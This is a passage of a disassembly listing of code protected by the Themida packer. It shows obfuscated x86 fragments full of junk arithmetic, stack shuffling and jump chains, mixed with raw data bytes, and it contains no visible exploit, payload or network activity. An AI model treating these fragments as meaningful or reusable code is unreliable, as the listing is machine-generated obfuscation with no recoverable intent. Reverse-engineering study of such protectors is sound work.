		dd 1614h, 44E9EF88h, 8100004Ch,	0DB0137C7h, 7FE95A71h
		dd 81000049h, 4ECh, 24148900h, 5756E289h, 4BFh,	0E9FE8900h
		dd 0FFFFB9D1h
; ---------------------------------------------------------------------------


loc_56FCF0:				; CODE XREF: Themida_:00570110j
		mov	edi, [esp]
		add	esp, 4
		or	esi, 8E325F4h
		add	esi, 1CEE171Dh
		sub	ecx, esi
		mov	esi, [esp]
		jmp	loc_57402D
; ---------------------------------------------------------------------------
		db 31h
		dd 5A042454h, 83240C8Bh, 0F18104C4h, 0FE7088Bh,	5E48E95Fh
		dd 3C33FFFFh, 24248B24h, 24148966h, 0E99C5066h,	0FFFF0267h
dword_56FD38	dd 0E92434FFh, 0FFFF04CFh ; DATA XREF: Themida_:0055FED8o
; ---------------------------------------------------------------------------


loc_56FD40:				; CODE XREF: Themida_:0056F0DDj
		sub	ebp, esi
		jmp	loc_5651AD
; ---------------------------------------------------------------------------


loc_56FD47:				; CODE XREF: Themida_:00568B82j
		sub	ecx, edx
		jmp	loc_5694EA
; ---------------------------------------------------------------------------
		dw 0E957h
		dd 0FFFFC86Dh
; ---------------------------------------------------------------------------


loc_56FD54:				; CODE XREF: Themida_:0056049Aj
		mov	ebx, 4
		jmp	loc_56E2F9
; ---------------------------------------------------------------------------


loc_56FD5E:				; CODE XREF: Themida_:005657B6j
		add	ebx, 32668414h
		add	ebp, 446D2D6Fh
		jmp	loc_562B7E
; ---------------------------------------------------------------------------
		db 83h
		dd 248904ECh, 24048324h, 4055804h, 0E9000000h, 0FFFFD2E7h
		dd 0C2815A54h, 4, 8704C283h, 3EE92414h,	53FFFFAFh, 0C319BCBBh
		dd 0EB81430Ah, 0BD02A339h, 295BDD89h, 0E8295EF5h, 9FBBE95Dh
		dd 0C183FFFFh, 83EE904h, 0E0E90000h
		db 1, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FDBF:				; CODE XREF: Themida_:0056DA04j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	edx
		push	1D7Bh
		mov	[esp], eax
		push	7BBh
		jmp	loc_56A07E
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0E9240C89h, 0FFFF48B5h, 508A68h, 24048900h, 95B275B4h
		dd 0FFE384E9h, 24148BFFh, 5604C483h, 4BEh, 0E9F50100h
		dd 0FFFF5824h, 0B568D9F7h, 89000049h, 22E92414h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56FE17:				; CODE XREF: Themida_:0056B2A8j
		mov	ecx, [esp]
		add	esp, 4
		and	ecx, 437D160Fh
		xor	ecx, 721D751Eh
		push	ecx
		xor	dword ptr [esp], 210E6A74h
		pop	edx
		jmp	loc_56C891
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E9592434h, 0FFFF68DDh, 9E92ED81h, 0EB01EAF9h, 0FF96F1E9h
		dd 5282BFFFh, 0FB016B3Eh, 0C3295A5Fh, 61E95057h, 66FFFFCEh
		dd 66241C89h, 68242C8Bh, 616Ah,	89243489h, 5695E9E6h, 0F721FFFFh
		dd 3BE9505Eh, 1FFFF7Ah,	5CB805F8h, 1A0573D7h, 5F24F96Ch
		dd 31240433h, 4332404h,	0AAE95C24h, 8300003Ah, 30E904C4h
		dd 59000000h, 4C181h, 0C1830000h, 4EC8104h, 89000000h
		dd 74FF240Ch, 0B3E90424h, 87FFFF96h, 0E95C2434h, 0FFFFD6EEh
		dd 2F96C681h, 88E9117Fh, 81FFFFCBh, 4C4h, 240C8700h, 0FFF467E9h
		dd 6DBF57FFh, 311ED329h, 5F04247Ch, 0E92434FFh,	0FFFFA30Bh
; ---------------------------------------------------------------------------


loc_56FEF4:				; CODE XREF: Themida_:00573E8Dj
		push	esp
		push	dword ptr [esp]
		jmp	loc_56568B
; ---------------------------------------------------------------------------
		db 5Dh,	53h, 0BBh
		dd 537063B5h, 7CC38143h, 431EC704h, 0E94BD3F7h,	340Ah
; ---------------------------------------------------------------------------


loc_56FF14:				; CODE XREF: Themida_:00575183j
		pop	edx
		add	edx, 4
		jmp	loc_569D16
; ---------------------------------------------------------------------------
		dd 2913E868h, 0BFE95F3Ah, 31FFFF28h, 34332434h,	24248B24h
		dd 9C240401h, 0FF2FA7E9h, 0B4E954FFh
		db 15h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FF43:				; CODE XREF: Themida_:005714D6j
		mov	[esp], edi
		mov	edi, esp
		sub	esp, 4
		jmp	loc_5627F4
; ---------------------------------------------------------------------------
		db 59h
		dd 0FF3C73E9h, 243C33FFh, 3DE95Ch, 0BE56FFFFh, 3578707Bh
		dd 0EA97E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FF6E:				; CODE XREF: Themida_:00564A5Dj
		sub	edx, 961A7AFEh
		jmp	loc_56D098
; ---------------------------------------------------------------------------


loc_56FF79:				; CODE XREF: Themida_:00562CF6j
		add	edi, 4A092687h
		sub	edi, 42C5B133h
		jmp	loc_57136E
; ---------------------------------------------------------------------------
aAajiuysx3	db '€íjˆîYéX3',0
		dd 0FF672C00h, 4E92434h, 0F7000018h, 29F181D9h,	8710DD37h
		dd 0E9DBF7D9h, 0B40h, 6866D6F6h, 89662A71h, 0B8B7241Ch
		dd 5B66FE20h, 0F656B151h, 0DAF180D9h, 306CE980h, 0DAE959CEh
		dd 1FFFF10h, 0F7C781D7h, 8B4F5D17h, 11E92414h, 81FFFF3Dh
		dd 0F5C29BE9h, 8BC829F5h, 8957240Ch, 4C781E7h, 83000000h
		dd 2CE904C7h, 5EFFFFEEh, 0FF8162E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570005:				; CODE XREF: Themida_:0056078Aj
		pop	ebp
		jmp	loc_575132
; ---------------------------------------------------------------------------


loc_57000B:				; CODE XREF: Themida_:0056F8CEj
		add	esp, 4
		and	ecx, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_560268
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0E9242489h, 0FFFF3D7Fh, 0E924148Bh, 1A88h
; ---------------------------------------------------------------------------


loc_57002C:				; CODE XREF: Themida_:005742D2j
		not	bl
		neg	bl
		add	bl, 9Bh
		add	bl, 11h
		sub	ah, bl
		pop	ebx
		push	eax
		mov	ah, 0B2h
		push	ecx
		mov	cl, 54h
		or	ah, cl
		pop	ecx
		add	ah, 0A1h
		jmp	loc_569006
; ---------------------------------------------------------------------------


loc_57004A:				; CODE XREF: Themida_:005667D8j
		add	ch, bl
		jmp	loc_5666FF
; ---------------------------------------------------------------------------


loc_570051:				; CODE XREF: Themida_:00567D3Dj
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_564E29
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 4, 5059CA01h, 0FF3078E9h, 56E389FFh,	4BEh, 0F127E900h
		db 2 dup(0FFh)
word_570082	dw 77FFh		; DATA XREF: Themida_:0055FCECo
		dd 0FF15E940h, 0CBBAFFFEh, 0D11C2770h, 1EEA81EAh, 81251033h
		dd 475241CAh, 81DAF75Bh, 47D74BC2h, 0CFEB81FBh,	13A137Ah
		dd 5712E9D3h, 0ECBEFFFFh, 1358576h, 0BD555EF7h,	5BF6308Ch
		dd 15DEF01h, 8CEF81CFh,	0E95BF630h, 0FFFFE056h,	0D1BF5758h
		dd 8110F335h, 8574AF7h,	0E21E918h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5700E2:				; CODE XREF: Themida_:00567781j
		pop	esp
		mov	[esp], esi
		push	esp
		pop	esi
		push	edx
		mov	edx, 6B8F19F9h
		jmp	loc_56AD68
; ---------------------------------------------------------------------------


loc_5700F3:				; CODE XREF: Themida_:005615B2j
		mov	edx, 0EBC1A24h
		sub	esp, 4
		jmp	loc_56A0A1
; ---------------------------------------------------------------------------


loc_570103:				; CODE XREF: Themida_:005629D6j
		mov	edi, 4D3903A0h
		xor	edi, 3E557EB6h
		xor	esi, edi
		jmp	loc_56FCF0
; ---------------------------------------------------------------------------
		db 59h,	81h, 0F2h
		dd 5E49F8EAh, 685AD531h, 398Fh,	76FE9h
		db 0
; ---------------------------------------------------------------------------


loc_570129:				; CODE XREF: Themida_:00573C7Fj
		pop	edx
		jmp	loc_564507
; ---------------------------------------------------------------------------
		db 58h
		dd 0FF9BD3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570135:				; CODE XREF: Themida_:00565789j
					; Themida_:0056A979j ...
		push	6E7Eh
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		mov	edx, 60807FADh
		add	[esp+4], edx
		pop	edx
		jmp	loc_56AEFF
; ---------------------------------------------------------------------------
		db 66h
		dd 66218968h, 51240489h, 0C180FCB1h, 8BCC88D9h,	0C483240Ch
		dd 96F48004h, 5866E330h, 30B7C380h, 0B4505BD8h,	0E4805Ah
		dd 0E7885366h, 0FC88D7F6h, 0C4FE5B66h, 0FF20FCE9h, 2526BAFFh
		dd 0F2812C91h, 31CC385Eh, 0BB53E2D1h, 1A122D55h, 0C9E9DA09h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5701A7:				; CODE XREF: Themida_:005724CEj
		xchg	ecx, ebx
		pop	ecx
		jmp	loc_56B0AA
; ---------------------------------------------------------------------------
		db 80h
		dd 0E950D6C2h, 0FFFFAEFDh
; ---------------------------------------------------------------------------


loc_5701B8:				; CODE XREF: Themida_:0056EB10j
		mov	ecx, 4
		jmp	loc_56106B
; ---------------------------------------------------------------------------


loc_5701C2:				; CODE XREF: Themida_:005716C2j
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 140C06E5h
		add	edx, 66EB377Fh
		sub	edx, ebp
		jmp	loc_56E67D
; ---------------------------------------------------------------------------
		dd offset dword_4F7844+524h
		dw 8900h
		dd 2CE92414h, 83FFFFEEh, 8B042404h, 1DE9242Ch, 5DFFFF2Ah
		dd 3AB8C281h, 0EA811BEDh, 3ADF2B90h, 0FF6831E9h, 0C1EFD1FFh
		dd 6DE903EFh
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570213:				; CODE XREF: Themida_:00570432j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_563B00
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 9F3AE924h, 4BBFFFFh,	0E9000000h, 0FFFF358Bh,	5D0B90BAh
		dd 0F7EF8111h, 0E94F5D17h, 0FFFFFD83h, 2ABE565Ah, 31612F31h
		dd 0DD895EF3h, 7977055Bh, 0E8013973h, 7379772Dh, 3B5CE939h
		dd 81430000h, 93776CC3h, 79EB8165h, 16EDD2Fh, 0A2685BD9h
		dd 0E900003Fh, 0FFFFD7F8h, 0C681E689h, 4, 4C681h, 34870000h
		dd 0F5685C24h, 89000049h, 0E2892414h, 4C281h, 0EA810000h
		dd 4, 31241433h, 0AE92414h, 80FFFF19h, 0C9FEFFE9h, 0C830C130h
		dd 5166C130h, 0AA77E952h, 0C0BDFFFFh, 4515B816h, 11F1ED81h
		dd 0BA5257C5h, 79E04C6Dh, 176DBB53h, 0DA2141D1h, 0EAC2815Bh
		dd 0E94613F1h, 0FFFFE04Dh, 690E581h, 0ED8162E0h, 0C7129D4h
		dd 0FFFBC3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570305:				; CODE XREF: Themida_:005609D8j
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	esi
		jmp	loc_56E45D
; ---------------------------------------------------------------------------
		dd 54E95250h, 0BAFFFFD8h, 4, 55AD001h, 4, 0E9240487h, 0FFFF1710h
		dd 52D58851h, 0CBE9EA88h
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57033B:				; CODE XREF: Themida_:00575138j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shr	eax, 8
		jmp	loc_565DBC
; ---------------------------------------------------------------------------


loc_57034A:				; CODE XREF: Themida_:0056A3F4j
		mov	[esp], esi
		jmp	loc_5717B1
; ---------------------------------------------------------------------------


loc_570352:				; CODE XREF: Themida_:00565C71j
		pop	esp
		push	68AAh
		mov	[esp], esi
		jmp	loc_574304
; ---------------------------------------------------------------------------
		dd 4B951h, 0CE010000h, 74FF5659h, 8F5E0424h, 0E95C2404h
		dd 0FFFFF68Fh, 285BD900h, 240C8BC8h, 0FF04C483h, 1C8B2434h
		dd 4C48124h, 0E9000000h, 0FFFF48C0h, 0E987048Fh, 0FFFEFC03h
		dd 5C240C87h, 0E9243C89h, 29DBh, 6451C6BBh, 5BDA8947h
		dd 0A363E955h, 7835FFFFh, 54B553Dh, 34B5E9FFh, 158C789h
		dd 30FF5FFBh, 0FFE59BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5703CD:				; CODE XREF: Themida_:00572E7Ej
		pop	edx
		and	edx, 4E125E05h
		sub	edx, 8C08118Bh
		add	eax, edx
		pop	edx
		mov	esi, [esp]
		push	esi
		jmp	loc_56287B
; ---------------------------------------------------------------------------


loc_5703E6:				; CODE XREF: Themida_:00571CF6j
		sub	al, 0B3h
		sub	bl, 27h
		add	bl, al
		add	bl, 27h
		pop	eax
		push	small 7B8Dh
		mov	[esp], dx
		mov	dh, 0CAh
		add	bl, dh
		mov	dx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		jmp	loc_574FD2
; ---------------------------------------------------------------------------


loc_57040D:				; CODE XREF: Themida_:005696D4j
		mov	eax, 526226F1h
		and	eax, 538745EAh
		inc	eax
		inc	eax
		add	eax, 4C1E252Bh
		sub	eax, 0C0F15EF6h
		sub	esi, eax
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_570213
; ---------------------------------------------------------------------------
		db 68h
		dd 42D227Bh, 0B6EFE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570442:				; CODE XREF: Themida_:005688E2j
		push	eax
		jmp	loc_56D361
; ---------------------------------------------------------------------------
		dd 8759CF01h
		db 3Ch,	24h, 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_565890
; ---------------------------------------------------------------------------
		dd 405h, 4C08300h, 46E1E9h, 0F8295D00h,	31D9E9h, 8CE95500h
		dd 81FFFFD8h, 4EAh, 24148700h, 3517E9h,	4C38100h, 87000000h
		dd 685C241Ch, 5934h, 0E9240C89h, 0FFFFC05Dh, 539CF280h
		dd 0CB80C2B3h, 92E380C3h, 0DC380h, 0E367E9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5704CA:				; CODE XREF: Themida_:005676A0j
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, 538F00CCh
		add	eax, esi
		jmp	loc_56413C
; ---------------------------------------------------------------------------
		db 5Ah
		dd 4C481h, 0F2210000h, 5751555Eh, 0E836ABBFh, 5FF9896Ah
		dd 1E8325BDh, 328DE98Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5704FE:				; CODE XREF: Themida_:00575488j
		mov	ebp, 79842DE4h
		inc	ebp
		sub	ebp, 6E86318Ah
		not	ebp
		sub	ebp, 0ACC98D09h
		add	edi, ebp
		pop	ebp
		jmp	loc_56D009
; ---------------------------------------------------------------------------


loc_57051A:				; CODE XREF: Themida_:00564289j
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		push	edx
		mov	edx, 4
		sub	ebx, edx
		jmp	loc_568FA7
; ---------------------------------------------------------------------------
		dd 0B69E981h, 84E952B2h, 0BFFFFFB9h, 0FBDFEED5h, 15FF901h
		dd 240C8BCBh, 4EC81h, 1C890000h, 81E38924h, 4C3h, 0D9E95200h
		dd 89FFFFC5h, 74E9241Ch
		db 64h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570567:				; CODE XREF: Themida_:0056BB54j
		push	dword ptr [esp]
		jmp	loc_56BCF1
; ---------------------------------------------------------------------------


loc_57056F:				; CODE XREF: Themida_:0056AA10j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	esi, edi
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esi
		mov	edx, ebp
		pop	ebp
		pop	esi
		mov	ecx, edx
		pop	edx
		sub	[edi+24h], ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5726D1
; ---------------------------------------------------------------------------
		dd 3463F181h, 0D9F77236h, 0FFA9C2E9h, 241C33FFh, 33241C31h
		dd 85C241Ch, 0E99C2404h, 0FFFEF9E3h, 0C681E689h, 4, 0FF4B93E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5705C9:				; CODE XREF: Themida_:005718B3j
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	bh, 0D6h
		shr	bh, 4
		push	ecx
		mov	cl, 0CAh
		sub	cl, 0C9h
		add	bh, 0A0h
		sub	bh, cl
		jmp	loc_573441
; ---------------------------------------------------------------------------
aQ8Ss9		db 'Q¹Û;8#é‘9',0
		align 4
		dd 5C240C87h, 0FEF99EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570601:				; CODE XREF: Themida_:0056C299j
		mov	[esp], ebx
		mov	ebx, 63D61E34h
		jmp	loc_56078F
; ---------------------------------------------------------------------------


loc_57060E:				; CODE XREF: Themida_:00570E7Cj
		push	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_562CFB
; ---------------------------------------------------------------------------
byte_570621	db 68h,	2Dh, 65h	; DATA XREF: Themida_:0055FF00o
		dd 8F540000h, 54552404h, 4BA525Dh, 81000000h, 4F016EC5h
		dd 81D50107h, 4F016EEDh, 24148B07h, 5304C483h, 0F60114BBh
		dd 4702E974h, 48E9FFFFh
		db 0F9h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_570657:				; CODE XREF: Themida_:005719E2j
		add	esi, 3ACB1D3Ch
		or	esi, 1C1D0FABh
		sub	esi, 60584062h
		sub	ebx, esi
		jmp	loc_56768A
; ---------------------------------------------------------------------------
		dd 0F281425Bh, 2EFE05E0h, 0FEFD20E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57067D:				; CODE XREF: Themida_:00572FA3j
		pop	ebx
		shl	eax, 7
		shr	eax, 6
		shl	eax, 6
		sub	eax, 0DAF49FE2h
		push	edi
		push	esi
		jmp	loc_5733DE
; ---------------------------------------------------------------------------


loc_570693:				; CODE XREF: Themida_:0056D982j
		and	esi, 4D026521h
		push	0
		sub	[esp], esi
		pop	esi
		add	esi, 45024505h
		mov	edi, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_56F69A
; ---------------------------------------------------------------------------
		db 21h,	0D0h, 8Bh
		dd 0C4832414h, 6E8C104h, 0FF2BE0E9h, 4B850FFh, 1000000h
		dd 58042444h, 5B2434FFh, 8304C483h, 148904ECh, 0D2685724h
		dd 5F41BF5Fh, 111BF781h, 0BA527BACh, 249F13C4h,	0C4FFEA81h
		dd 0D729EA8Bh, 4C23E95Ah, 0C9800000h, 5E9C0CDh,	8003E1C0h
		dd 4F682FE9h, 8900007Ah, 7AB22414h, 3E01E9h, 0D8005800h
		dd 0A2B685Bh, 0C890000h, 0E906B524h, 0FFFF3438h
; ---------------------------------------------------------------------------


loc_57072C:				; CODE XREF: Themida_:00567D45j
		pop	ebx
		jmp	loc_567426
; ---------------------------------------------------------------------------
word_570732	dw 77FFh		; DATA XREF: Themida_:0055FDA0o
		dd 2434FF1Ch, 582434FFh, 70E768h, 24348900h, 0EC83E689h
		dd 24148904h, 4BAh, 5AD60100h, 4B850h, 0EE810000h, 4D8E185Bh
		dd 0C681C601h, 4D8E185Bh, 8324048Bh, 348704C4h,	24248B24h
		dd 4EC81h, 7EE90000h, 8BFFFF17h, 0B2E92424h, 0FFFFFFEAh
		dd 0BDE92434h, 89FFFF6Ah, 3E682404h, 0E900007Ah, 0FFFFF7A1h
		dd 0E958C130h, 0FFFF6175h, 0EF80D728h, 0E7305AA9h, 0F9E9FC30h
		dd 1FFFFEAh, 0EC815EF1h, 4, 0E9241C89h,	0FFFF33FCh, 33243431h
		dd 505C2434h, 1168E089h, 89000032h, 0E955240Ch,	0FFFEFC60h
; ---------------------------------------------------------------------------


loc_5707DC:				; CODE XREF: Themida_:0057476Fj
		pop	esp
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------


loc_5707E2:				; CODE XREF: Themida_:00561CC9j
		pop	eax
		jmp	loc_56B0E7
; ---------------------------------------------------------------------------
		dd 5B58C689h, 0FF1E52E9h, 4C381FFh, 53000000h, 42474FFh
		dd 0FF1CDDE9h, 3E2C1FFh, 7E32E281h, 0BB534F60h,	70704FD0h
		dd 4C7F381h, 0DA01A426h, 6F68E95Bh, 0D7F7FFFFh,	9EBAC781h
		dd 0F8897629h, 0D4BA525Fh, 0E9068A60h, 1587h, 8B240487h
		dd 68512424h, 6A9Ch, 0E9242489h, 3A17h,	0BE243489h, 77445EBEh
		dd 2BD3E9h
		db 0
; ---------------------------------------------------------------------------


loc_570855:				; CODE XREF: Themida_:0056C613j
		pop	edi
		pop	esi
		sub	esi, 66F42050h
		push	esi
		pop	eax
		pop	esi
		jmp	loc_56A44D
; ---------------------------------------------------------------------------


loc_570865:				; CODE XREF: Themida_:0056DDA9j
		sub	[edi+24h], ecx
		pop	ecx


loc_570869:				; CODE XREF: Themida_:0056662Dj
		push	3713h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		sub	dword ptr [esp], 17913F0Fh
		pop	edx
		push	esi
		push	3129h
		jmp	loc_570B9F
; ---------------------------------------------------------------------------
aBISf		db 'êÄiß]é”<',0
		align 4
aISi		db '‰,$é›(',0
		align 10h
a0S		db '0Ëé³',1Bh,0
		db 0
; ---------------------------------------------------------------------------


loc_5708A7:				; CODE XREF: Themida_:00564590j
		mov	edx, ebx
		pop	ebx
		mov	edi, 6C8316E4h
		sub	edi, edx
		mov	edx, [esp]
		add	esp, 4
		add	edx, edi
		jmp	loc_56F1E1
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 69h
		dd 0F7FFFF16h, 24802DD8h, 0C501D1C7h, 24348B58h, 4C481h
		dd 0EA010000h, 51EF815Dh, 51233D04h, 0FF3E53E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5708E9:				; CODE XREF: Themida_:0056B43Ej
		not	ebx
		sub	ebx, 0AFF10C29h
		sub	esi, ebx
		pop	ebx
		and	eax, esi
		jmp	loc_562E3C
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 24148700h, 1777685Ch, 34890000h, 4EC8124h, 89000000h
		dd 4BF243Ch, 89000000h,	243C8BFEh, 0FEF8F8E9h, 0F1F766FFh
		dd 17036866h, 24148966h, 0E99C5066h, 0FFFEF667h
; ---------------------------------------------------------------------------


loc_570938:				; CODE XREF: Themida_:00566286j
		add	esp, 4
		push	0B62h
		mov	[esp], edx
		mov	edx, 4
		sub	ecx, 1096426Eh
		add	ecx, edx
		jmp	loc_560066
; ---------------------------------------------------------------------------
		db 80h,	0EAh, 0FFh
aQZfh		db 'Q±‡fh',0
		dw 2800h
		dd 0C8A240Ch, 2C48324h,	5307E9C0h, 119CE9h
		db 0
; ---------------------------------------------------------------------------


loc_570971:				; CODE XREF: Themida_:005673A6j
		mov	ecx, 0C143874h
		not	ecx
		xor	ecx, 0F3EBC78Fh
		jmp	loc_568FD7
; ---------------------------------------------------------------------------
		db 81h
		dd 957516C3h, 85C38138h, 81044773h, 5C9363EBh, 8BDE89BFh
		dd 0C481241Ch, 4, 77A366BDh, 84ED8182h,	1779C06h, 84C581F5h
		dd 0E9779C06h, 0FFFF7EF5h, 0F693EE80h, 0C0C6FED6h, 0EEC004E6h
		dd 262AE907h, 0DEF7FFFFh, 6A79F681h, 0F2211CB8h, 23E2815Eh
		dd 4A095B50h, 0E906E2C1h, 0FFFF6AF2h
; ---------------------------------------------------------------------------


loc_5709E4:				; CODE XREF: Themida_:00560F4Bj
		push	5A8Eh
		mov	[esp], ebx
		mov	ebx, 4E616C33h
		jmp	loc_56B429
; ---------------------------------------------------------------------------


loc_5709F6:				; CODE XREF: Themida_:00569D2Aj
		pop	dword ptr [esp]
		pop	esp
		push	11D3h
		mov	[esp], esi
		jmp	loc_5686BE
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0FF583FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570A0D:				; CODE XREF: Themida_:0056975Dj
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_571D5A
; ---------------------------------------------------------------------------


loc_570A1B:				; CODE XREF: Themida_:00560D18j
		mov	edi, 1CE46C0Ah
		add	edx, edi
		pop	edi
		pop	eax
		push	ebp
		mov	ebp, 174A2ABDh
		add	edx, ebp
		pop	ebp
		jmp	loc_56BB4A
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 0E95A0424h, 0FFFFEB72h, 0A11ABCBAh, 2CCBB93Dh, 0D1317288h
		dd 8324148Bh, 0F93104C4h, 0FF5490E9h, 0E9C301FFh, 0FFFFC507h
		dd 33241431h, 0E95C2414h, 0CEAh, 0C104C483h, 0C00B00E9h
		dd 136C840Fh, 20680000h, 89000073h, 96E9241Ch, 66FFFF00h
		dd 0E987048Fh, 0FFFEF513h, 0E9241489h, 0FFFFFFA8h
dword_570A94	dd 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFEF4FBh
					; DATA XREF: Themida_:0055FE0Co
; ---------------------------------------------------------------------------


loc_570AA4:				; CODE XREF: Themida_:005635A9j
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------
		db 1, 0E8h, 0FFh
		dd 815D2434h, 4C4h, 98BD5500h, 56E1058h, 54DF2316h, 162DE829h
		dd 5D54DF23h, 7B33BE56h, 16E96273h, 48FFFF25h, 2A5E940h
		db 2 dup(0FFh)
word_570ADA	dw 8B66h		; DATA XREF: Themida_:0055FDECo
		dd 9B682404h, 89000045h, 0E389241Ch, 0E9525155h, 0FFFF0D9Fh
		dd 0D1F7D987h, 4E99BD55h, 0BD5573CDh, 209F0A5Ah, 0FFD8BAE9h
		dd 148B5BFFh, 4C48324h,	0FF811EE9h, 0E9525CFFh,	0FFFFE8A3h
		dd 54525854h, 8124148Bh, 4C4h, 0B5AE900h, 0CA31FFFFh, 8BD02959h
		dd 0C4832414h, 0E9505104h, 0FFFF6ABFh
; ---------------------------------------------------------------------------


loc_570B3C:				; CODE XREF: Themida_:0056339Dj
		push	ebx
		mov	ebx, 776C7FA3h
		or	edi, ebx
		pop	ebx
		inc	edi
		push	ebx
		mov	ebx, 444E79E4h
		not	ebx
		xor	ebx, 691E3B43h
		shl	ebx, 2
		shr	ebx, 2
		jmp	loc_569623
; ---------------------------------------------------------------------------
		db 0F6h
		dd 1AE980D9h, 0CFE9C828h, 81FFFF78h, 8C2D55C3h,	81D3F751h
		dd 0B7594DF3h, 0E151E989h, 0E95BFFFFh, 0FFFF8AD4h
; ---------------------------------------------------------------------------


loc_570B84:				; CODE XREF: Themida_:005734BCj
		and	ecx, edi
		pop	edi
		shr	ecx, 0Bh
		push	edx
		push	edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, ebx
		push	esi
		push	ecx
		push	eax
		jmp	loc_566808
; ---------------------------------------------------------------------------


loc_570B9F:				; CODE XREF: Themida_:00570888j
		mov	[esp], ebx
		mov	ebx, 6A947EE6h
		push	21EA7CFCh
		pop	esi
		xor	esi, ebx
		pop	ebx
		xor	esi, 29784F1Ah
		push	eax
		jmp	loc_572152
; ---------------------------------------------------------------------------
		dd 81E18951h, 4C1h, 4C18300h, 5C240C87h, 3302C283h, 85E92414h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570BD7:				; CODE XREF: Themida_:0056177Fj
		sub	edx, 666D1673h
		sub	ebx, edx
		jmp	loc_56A9DE
; ---------------------------------------------------------------------------
		dd 0E924048Fh, 256Ch
; ---------------------------------------------------------------------------


loc_570BEC:				; CODE XREF: Themida_:0057275Aj
		dec	edi
		jmp	loc_570D2E
; ---------------------------------------------------------------------------
		dw 0D5F7h
		dd 0EFE9EE87h
		db 0Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570BFB:				; CODE XREF: Themida_:00563F6Bj
		xor	eax, 28E90DACh
		push	2DAh
		mov	[esp], edi
		push	esp
		pop	edi
		push	ebp
		mov	ebp, 7DEE62BAh
		or	ebp, 616056C9h
		add	ebp, 82118909h
		add	edi, 43005ECFh
		add	edi, 5BBF0CCCh
		jmp	loc_56FB59
; ---------------------------------------------------------------------------


loc_570C2D:				; CODE XREF: Themida_:0056BEAFj
		mov	edi, esp
		add	edi, 4
		push	4E16h
		mov	[esp], ecx
		jmp	loc_56F712
; ---------------------------------------------------------------------------
		dw 5559h
		dd 3D1856BDh, 0D8F58172h, 0E9545940h, 0FFFF62BBh, 5203E0C0h
		dd 0C6805EB6h, 0C0EE8072h, 45AF030h, 42C1E991h
		db 2 dup(0FFh)
word_570C6A	dw 8B66h		; DATA XREF: Themida_:0055FEDCo
		dd 57552404h, 0BD55E789h, 4, 815DEF01h,	4EFh, 243C8700h
		dd 0FFE8DDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570C89:				; CODE XREF: Themida_:00573217j
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ebx
